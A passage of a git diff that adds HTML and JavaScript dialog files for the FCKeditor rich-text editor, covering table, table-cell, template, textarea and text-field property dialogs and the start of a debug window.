+                                                                               <span fcklang="DlgTableHeight">Height</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;<span fcklang="DlgTableWidthPx">pixels</span></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgTableCellSpace">Cell spacing</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtCellSpacing" type="text" maxlength="2" size="2" value="1" name="txtCellSpacing"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgTableCellPad">Cell padding</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtCellPadding" type="text" maxlength="2" size="2" value="1" name="txtCellPadding"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fcklang="DlgTableCaption">Caption</span>:&nbsp;</td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td width="100%" nowrap="nowrap">
+                                                       <input id="txtCaption" type="text" style="width: 100%" /></td>
+                                       </tr>
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fcklang="DlgTableSummary">Summary</span>:&nbsp;</td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td width="100%" nowrap="nowrap">
+                                                       <input id="txtSummary" type="text" style="width: 100%" /></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_tablecell.html b/fckeditor/editor/dialog/fck_tablecell.html
new file mode 100755 (executable)
index 0000000..c73d94d
--- /dev/null
@@ -0,0 +1,259 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_tablecell.html
+ *     Cell properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Table Cell Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Array of selected Cells
+var aCells = oEditor.FCKTableHandler.GetSelectedCells() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       SetStartupValue() ;
+
+       window.parent.SetOkButton( true ) ;
+       window.parent.SetAutoSize( true ) ;
+}
+
+function SetStartupValue()
+{
+       if ( aCells.length > 0 )
+       {
+               var oCell = aCells[0] ;
+               var iWidth = GetAttribute( oCell, 'width' ) ;
+
+               if ( iWidth.indexOf && iWidth.indexOf( '%' ) >= 0 )
+               {
+                       iWidth = iWidth.substr( 0, iWidth.length - 1 ) ;
+                       GetE('selWidthType').value = 'percent' ;
+               }
+
+               if ( oCell.attributes['noWrap'] != null && oCell.attributes['noWrap'].specified )
+                       GetE('selWordWrap').value = !oCell.noWrap ;
+
+               GetE('txtWidth').value                  = iWidth ;
+               GetE('txtHeight').value                 = GetAttribute( oCell, 'height' ) ;
+               GetE('selHAlign').value                 = GetAttribute( oCell, 'align' ) ;
+               GetE('selVAlign').value                 = GetAttribute( oCell, 'vAlign' ) ;
+               GetE('txtRowSpan').value                = GetAttribute( oCell, 'rowSpan' ) ;
+               GetE('txtCollSpan').value               = GetAttribute( oCell, 'colSpan' ) ;
+               GetE('txtBackColor').value              = GetAttribute( oCell, 'bgColor' ) ;
+               GetE('txtBorderColor').value    = GetAttribute( oCell, 'borderColor' ) ;
+//             GetE('cmbFontStyle').value              = oCell.className ;
+       }
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+       for( i = 0 ; i < aCells.length ; i++ )
+       {
+               if ( GetE('txtWidth').value.length > 0 )
+                       aCells[i].width = GetE('txtWidth').value + ( GetE('selWidthType').value == 'percent' ? '%' : '') ;
+               else
+                       aCells[i].removeAttribute( 'width', 0 ) ;
+
+               if ( GetE('selWordWrap').value == 'false' )
+                       aCells[i].noWrap = true ;
+               else
+                       aCells[i].removeAttribute( 'noWrap' ) ;
+
+               SetAttribute( aCells[i], 'height'               , GetE('txtHeight').value ) ;
+               SetAttribute( aCells[i], 'align'                , GetE('selHAlign').value ) ;
+               SetAttribute( aCells[i], 'vAlign'               , GetE('selVAlign').value ) ;
+               SetAttribute( aCells[i], 'rowSpan'              , GetE('txtRowSpan').value ) ;
+               SetAttribute( aCells[i], 'colSpan'              , GetE('txtCollSpan').value ) ;
+               SetAttribute( aCells[i], 'bgColor'              , GetE('txtBackColor').value ) ;
+               SetAttribute( aCells[i], 'borderColor'  , GetE('txtBorderColor').value ) ;
+//             SetAttribute( aCells[i], 'className'    , GetE('cmbFontStyle').value ) ;
+       }
+
+       return true ;
+}
+
+function SelectBackColor( color )
+{
+       if ( color && color.length > 0 )
+               GetE('txtBackColor').value = color ;
+}
+
+function SelectBorderColor( color )
+{
+       if ( color && color.length > 0 )
+               GetE('txtBorderColor').value = color ;
+}
+
+function SelectColor( wich )
+{
+       oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', oEditor.FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, wich == 'Back' ? SelectBackColor : SelectBorderColor, window ) ;
+}
+
+       </script>
+</head>
+<body scroll="no" style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="1" width="100%" border="0">
+                                       <tr>
+                                               <td>
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellWidth">Width</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input onkeypress="return IsDigit(event);" id="txtWidth" type="text" maxlength="4"
+                                                                                       size="3" name="txtWidth" />&nbsp;<select id="selWidthType" name="selWidthType">
+                                                                                               <option fcklang="DlgCellWidthPx" value="pixels" selected="selected">pixels</option>
+                                                                                               <option fcklang="DlgCellWidthPc" value="percent">percent</option>
+                                                                                       </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellHeight">Height</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtHeight" type="text" maxlength="4" size="3" name="txtHeight" onkeypress="return IsDigit(event);" />&nbsp;<span
+                                                                                       fcklang="DlgCellWidthPx">pixels</span></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellWordWrap">Word Wrap</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selWordWrap" name="selAlignment">
+                                                                                       <option fcklang="DlgCellWordWrapYes" value="true" selected="selected">Yes</option>
+                                                                                       <option fcklang="DlgCellWordWrapNo" value="false">No</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellHorAlign">Horizontal Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selHAlign" name="selAlignment">
+                                                                                       <option fcklang="DlgCellHorAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgCellHorAlignLeft" value="left">Left</option>
+                                                                                       <option fcklang="DlgCellHorAlignCenter" value="center">Center</option>
+                                                                                       <option fcklang="DlgCellHorAlignRight" value="right">Right</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellVerAlign">Vertical Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selVAlign" name="selAlignment">
+                                                                                       <option fcklang="DlgCellVerAlignNotSet" value="" selected>&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgCellVerAlignTop" value="top">Top</option>
+                                                                                       <option fcklang="DlgCellVerAlignMiddle" value="middle">Middle</option>
+                                                                                       <option fcklang="DlgCellVerAlignBottom" value="bottom">Bottom</option>
+                                                                                       <option fcklang="DlgCellVerAlignBaseline" value="baseline">Baseline</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td align="right">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellRowSpan">Rows Span</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input onkeypress="return IsDigit(event);" id="txtRowSpan" type="text" maxlength="3" size="2"
+                                                                                       name="txtRows"></td>
+                                                                       <td>
+                                                                       </td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellCollSpan">Columns Span</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input onkeypress="return IsDigit(event);" id="txtCollSpan" type="text" maxlength="2"
+                                                                                       size="2" name="txtColumns"></td>
+                                                                       <td>
+                                                                       </td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellBackColor">Background Color</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBackColor" type="text" size="8" name="txtCellSpacing"></td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Back' )"></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td nowrap="nowrap">
+                                                                               <span fcklang="DlgCellBorderColor">Border Color</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBorderColor" type="text" size="8" name="txtCellPadding" /></td>
+                                                                       <td>
+                                                                               &nbsp;
+                                                                               <input type="button" fcklang="DlgCellBtnSelect" value="Select..." onclick="SelectColor( 'Border' )" /></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_template.html b/fckeditor/editor/dialog/fck_template.html
new file mode 100755 (executable)
index 0000000..114f44d
--- /dev/null
@@ -0,0 +1,246 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_template.html
+ *     Template selection dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <style type="text/css">
+                       .TplList
+                       {
+                               border: #dcdcdc 2px solid;
+                               background-color: #ffffff;
+                               overflow: auto;
+                               width: 90%;
+                       }
+
+                       .TplItem
+                       {
+                               margin: 5px;
+                               padding: 7px;
+                               border: #eeeeee 1px solid;
+                       }
+
+                       .TplItem TABLE
+                       {
+                               display: inline;
+                       }
+
+                       .TplTitle
+                       {
+                               font-weight: bold;
+                       }
+               </style>
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function()
+{
+       // Set the right box height (browser dependent).
+       GetE('eList').style.height = document.all ? '100%' : '295px' ;
+
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       GetE('xChkReplaceAll').checked = ( FCKConfig.TemplateReplaceAll !== false ) ;
+       
+       if ( FCKConfig.TemplateReplaceCheckbox !== false )
+               GetE('xReplaceBlock').style.display = '' ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       LoadTemplatesXml() ;
+}
+
+function LoadTemplatesXml()
+{
+       var oTemplate ;
+
+       if ( !FCK._Templates )
+       {
+               GetE('eLoading').style.display = '' ;
+
+               // Create the Templates array.
+               FCK._Templates = new Array() ;
+
+               // Load the XML file.
+               var oXml = new oEditor.FCKXml() ;
+               oXml.LoadUrl( FCKConfig.TemplatesXmlPath ) ;
+
+               // Get the Images Base Path.
+               var oAtt = oXml.SelectSingleNode( 'Templates/@imagesBasePath' ) ;
+               var sImagesBasePath = oAtt ? oAtt.value : '' ;
+
+               // Get the "Template" nodes defined in the XML file.
+               var aTplNodes = oXml.SelectNodes( 'Templates/Template' ) ;
+
+               for ( var i = 0 ; i < aTplNodes.length ; i++ )
+               {
+                       var oNode = aTplNodes[i] ;
+
+                       oTemplate = new Object() ;
+
+                       var oPart ;
+
+                       // Get the Template Title.
+                       if ( (oPart = oNode.attributes.getNamedItem('title')) )
+                               oTemplate.Title = oPart.value ;
+                       else
+                               oTemplate.Title = 'Template ' + ( i + 1 ) ;
+
+                       // Get the Template Description.
+                       if ( (oPart = oXml.SelectSingleNode( 'Description', oNode )) )
+                               oTemplate.Description = oPart.text ? oPart.text : oPart.textContent ;
+
+                       // Get the Template Image.
+                       if ( (oPart = oNode.attributes.getNamedItem('image')) )
+                               oTemplate.Image = sImagesBasePath + oPart.value ;
+
+                       // Get the Template HTML.
+                       if ( (oPart = oXml.SelectSingleNode( 'Html', oNode )) )
+                               oTemplate.Html = oPart.text ? oPart.text : oPart.textContent ;
+                       else
+                       {
+                               alert( 'No HTML defined for template index ' + i + '. Please review the "' + FCKConfig.TemplatesXmlPath + '" file.' ) ;
+                               continue ;
+                       }
+
+                       FCK._Templates[ FCK._Templates.length ] = oTemplate ;
+               }
+
+               GetE('eLoading').style.display = 'none' ;
+       }
+
+       if ( FCK._Templates.length == 0 )
+               GetE('eEmpty').style.display = '' ;
+       else
+       {
+               for ( var j = 0 ; j < FCK._Templates.length ; j++ )
+               {
+                       oTemplate = FCK._Templates[j] ;
+
+                       var oItemDiv = GetE('eList').appendChild( document.createElement( 'DIV' ) ) ;
+                       oItemDiv.TplIndex = j ;
+                       oItemDiv.className = 'TplItem' ;
+
+                       // Build the inner HTML of our new item DIV.
+                       var sInner = '<table><tr>' ;
+
+                       if ( oTemplate.Image )
+                               sInner += '<td valign="top"><img src="' + oTemplate.Image + '"><\/td>' ;
+
+                       sInner += '<td valign="top"><div class="TplTitle">' + oTemplate.Title + '<\/div>' ;
+
+                       if ( oTemplate.Description )
+                               sInner += '<div>' + oTemplate.Description + '<\/div>' ;
+
+                       sInner += '<\/td><\/tr><\/table>' ;
+
+                       oItemDiv.innerHTML = sInner ;
+                       
+                       oItemDiv.onmouseover = ItemDiv_OnMouseOver ;
+                       oItemDiv.onmouseout = ItemDiv_OnMouseOut ;
+                       oItemDiv.onclick = ItemDiv_OnClick ;
+               }
+       }
+}
+
+function ItemDiv_OnMouseOver()
+{
+       this.className += ' PopupSelectionBox' ;
+}
+
+function ItemDiv_OnMouseOut()
+{
+       this.className = this.className.replace( /\s*PopupSelectionBox\s*/, '' ) ;
+}
+
+function ItemDiv_OnClick()
+{
+       SelectTemplate( this.TplIndex ) ;
+}
+
+function SelectTemplate( index )
+{
+       oEditor.FCKUndo.SaveUndoStep() ;
+
+       if ( GetE('xChkReplaceAll').checked )
+               FCK.SetHTML( FCK._Templates[index].Html ) ;
+       else
+               FCK.InsertHtml( FCK._Templates[index].Html ) ;
+
+       window.parent.Cancel( true ) ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <span fcklang="DlgTemplatesSelMsg">Please select the template to open in the editor<br />
+                                       (the actual contents will be lost):</span>
+                       </td>
+               </tr>
+               <tr>
+                       <td height="100%" align="center">
+                               <div id="eList" align="left" class="TplList">
+                                       <div id="eLoading" align="center" style="display: none">
+                                               <br />
+                                               <span fcklang="DlgTemplatesLoading">Loading templates list. Please wait...</span>
+                                       </div>
+                                       <div id="eEmpty" align="center" style="display: none">
+                                               <br />
+                                               <span fcklang="DlgTemplatesNoTpl">(No templates defined)</span>
+                                       </div>
+                               </div>
+                       </td>
+               </tr>
+               <tr id="xReplaceBlock" style="display: none">
+                       <td>
+                               <table cellpadding="0" cellspacing="0">
+                                       <tr>
+                                               <td>
+                                                       <input id="xChkReplaceAll" type="checkbox" /></td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td>
+                                                       <label for="xChkReplaceAll" fcklang="DlgTemplatesReplace">
+                                                               Replace actual contents</label></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_template/images/template1.gif b/fckeditor/editor/dialog/fck_template/images/template1.gif
new file mode 100755 (executable)
index 0000000..efdabbe
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template1.gif differ
diff --git a/fckeditor/editor/dialog/fck_template/images/template2.gif b/fckeditor/editor/dialog/fck_template/images/template2.gif
new file mode 100755 (executable)
index 0000000..d1cebb3
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template2.gif differ
diff --git a/fckeditor/editor/dialog/fck_template/images/template3.gif b/fckeditor/editor/dialog/fck_template/images/template3.gif
new file mode 100755 (executable)
index 0000000..db41cb4
Binary files /dev/null and b/fckeditor/editor/dialog/fck_template/images/template3.gif differ
diff --git a/fckeditor/editor/dialog/fck_textarea.html b/fckeditor/editor/dialog/fck_textarea.html
new file mode 100755 (executable)
index 0000000..55fe373
--- /dev/null
@@ -0,0 +1,98 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_textarea.html
+ *     Text Area dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Text Area Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'TEXTAREA' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtCols').value           = GetAttribute( oActiveEl, 'cols' ) ;
+               GetE('txtRows').value           = GetAttribute( oActiveEl, 'rows' ) ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'TEXTAREA' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'cols', GetE('txtCols').value ) ;
+       SetAttribute( oActiveEl, 'rows', GetE('txtRows').value ) ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style='OVERFLOW: hidden' scroll='no'>
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgTextareaName">Name</span><br>
+                                                               <input type="text" id="txtName" style="WIDTH: 100%">
+                                                               <span fckLang="DlgTextareaCols">Collumns</span><br>
+                                                               <input id="txtCols" type="text" size="5">
+                                                               <br>
+                                                               <span fckLang="DlgTextareaRows">Rows</span><br>
+                                                               <input id="txtRows" type="text" size="5">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_textfield.html b/fckeditor/editor/dialog/fck_textfield.html
new file mode 100755 (executable)
index 0000000..ae41a08
--- /dev/null
@@ -0,0 +1,143 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_textfield.html
+ *     Text field dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && ( oActiveEl.type == 'text' || oActiveEl.type == 'password' ) )
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtValue').value  = oActiveEl.value ;
+               GetE('txtSize').value   = GetAttribute( oActiveEl, 'size' ) ;
+               GetE('txtMax').value    = GetAttribute( oActiveEl, 'maxLength' ) ;
+               GetE('txtType').value   = oActiveEl.type ;
+
+               GetE('txtType').disabled = true ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( isNaN( GetE('txtMax').value ) || GetE('txtMax').value < 0 )
+       {
+               alert( "Maximum characters must be a positive number." ) ;
+               GetE('txtMax').focus() ;
+               return false ;
+       }
+       else if( isNaN( GetE('txtSize').value ) || GetE('txtSize').value < 0 )
+       {
+               alert( "Width must be a positive number." ) ;
+               GetE('txtSize').focus() ;
+               return false ;
+       }
+
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = GetE('txtType').value ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value'        , GetE('txtValue').value ) ;
+       SetAttribute( oActiveEl, 'size'         , GetE('txtSize').value ) ;
+       SetAttribute( oActiveEl, 'maxlength', GetE('txtMax').value ) ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextName">Name</span><br />
+                                                       <input id="txtName" type="text" size="20" />
+                                               </td>
+                                               <td>
+                                               </td>
+                                               <td>
+                                                       <span fcklang="DlgTextValue">Value</span><br />
+                                                       <input id="txtValue" type="text" size="25" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextCharWidth">Character Width</span><br />
+                                                       <input id="txtSize" type="text" size="5" />
+                                               </td>
+                                               <td>
+                                               </td>
+                                               <td>
+                                                       <span fcklang="DlgTextMaxChars">Maximum Characters</span><br />
+                                                       <input id="txtMax" type="text" size="5" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgTextType">Type</span><br />
+                                                       <select id="txtType">
+                                                               <option value="text" selected="selected" fcklang="DlgTextTypeText">Text</option>
+                                                               <option value="password" fcklang="DlgTextTypePass">Password</option>
+                                                       </select>
+                                               </td>
+                                               <td>
+                                                       &nbsp;</td>
+                                               <td>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckdebug.html b/fckeditor/editor/fckdebug.html
new file mode 100755 (executable)
index 0000000..1696e1c
--- /dev/null
@@ -0,0 +1,157 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckdebug.html
+ *     This is the Debug window.
+ *     It automatically popups if the Debug = true in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor Debug Window</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <script type="text/javascript">
+
+var oWindow ;
+var oDiv ;
+
+if ( !window.FCKMessages )
+       window.FCKMessages = new Array() ;
+
+window.onload = function()
+{
+       oWindow = document.getElementById('xOutput').contentWindow ;
+       oWindow.document.open() ;
+       oWindow.document.write( '<div id="divMsg"><\/div>' ) ;
+       oWindow.document.close() ;
+       oDiv    = oWindow.document.getElementById('divMsg') ;
+}
+
+function Output( message, color, noParse )
+{
+       if ( !noParse && message != null && isNaN( message ) )
+               message = message.replace(/</g, "&lt;") ;
+               
+       if ( color )
+               message = '<font color="' + color + '">' + message + '<\/font>' ;
+               
+       window.FCKMessages[ window.FCKMessages.length ] = message ;
+       StartTimer() ;
+}
+
+function OutputObject( anyObject, color )
+{
+       var message ;
+       
+       if ( anyObject != null ) 
+       {
